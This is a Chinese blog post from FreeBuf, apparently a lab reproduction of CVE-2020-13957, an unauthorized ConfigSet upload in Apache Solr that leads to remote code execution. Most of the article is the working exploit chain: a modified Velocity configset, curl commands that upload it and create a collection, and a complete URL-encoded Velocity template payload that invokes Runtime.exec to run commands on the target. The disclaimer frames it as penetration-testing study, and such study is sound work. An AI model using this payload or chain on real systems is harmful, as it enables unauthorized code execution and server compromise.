freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Apche Solr 未授权上传漏洞(CVE-2020-13957)复现
MoLing 2021-01-22 17:40:36 181255

之前看某大佬的文章,自己跟着复现的,大佬腻害~~如有错误纯属我理解错误,还望指正~ヽ( ⌒ω⌒)人(=^‥^= )ノ

0x00 漏洞描述

在特定的Solr版本中ConfigSet API存在未授权上传漏洞,攻击者利用漏洞可实现远程代码执行。

整个利用链流程:
上传configset——基于configset再次上传configset(跳过身份检测)——利用新configset创造collection——利用solrVelocity模板进行RCE

影响范围

Apache Solr 6.6.0 -6.6.5
Apache Solr 7.0.0 -7.7.3
Apache Solr 8.0.0 -8.6.2

0x01 环境搭建

solr下载地址:http://archive.apache.org/dist/lucene/solr/(本次复现环境为8.0.0)

靶机:win10 IP地址:192.168.41.129
攻击机:kali IP地址:192.168.41.132


C:\复现\solr-8.0.0\bin>solr.cmd start –c

0x02 漏洞复现

1、解压solr-8.0.0.zip并将解压后的文件切换到/solr-8.0.0/solr-8.0.0/server/solr/configsets/_default/conf目录,找到solrconfig.xml文件,并将velocity.params.resource.loader.enabled的false修改为true,即:
name="params.resource.loader.enabled">${velocity.params.resource.loader.enabled:true}

并将修改后的solr-8.0.0 放到kali中

2、 然后在kali中server/solr/configsets/_default/conf/目录下打开终端,执行命令将conf目录下所有文件打包成一个压缩文件mytest.zip

zip -r - * > mytest.zip

3、由于ConfigSet API存在未授权上传, 上传mytest.zip到win10

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @mytest.zip http://192.168.41.129:8983/solr/admin/configs?action=UPLOAD&name=mytest

根据CREATE得到的新configset创建恶意collection:

curl "http://192.168.41.129:8983/solr/admin/collections?action=CREATE&name=mytest2

&numShards=1&replicationFactor=1&wt=xml&collection.configName=mytest"

在kali的浏览器中输入地址,即可利用已上传的collection进行远程命令执行,这里执行的是whoami

http://192.168.41.129:8983/solr/mytest2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

PS:本文仅用于渗透测试学习,勿用于非授权测试。。可在虚拟机完成环境搭建与测试



# 漏洞利用 # 漏洞复现 # Apche Solr
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 MoLing 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
MoLing LV.2
尸体复活术,开始找工作
  • 9 文章数
  • 114 关注者
Everything后渗透的利用
2021-01-22
渗透小白的面试之路
2020-12-02
Python研究之爬虫练习
2020-09-21
文章目录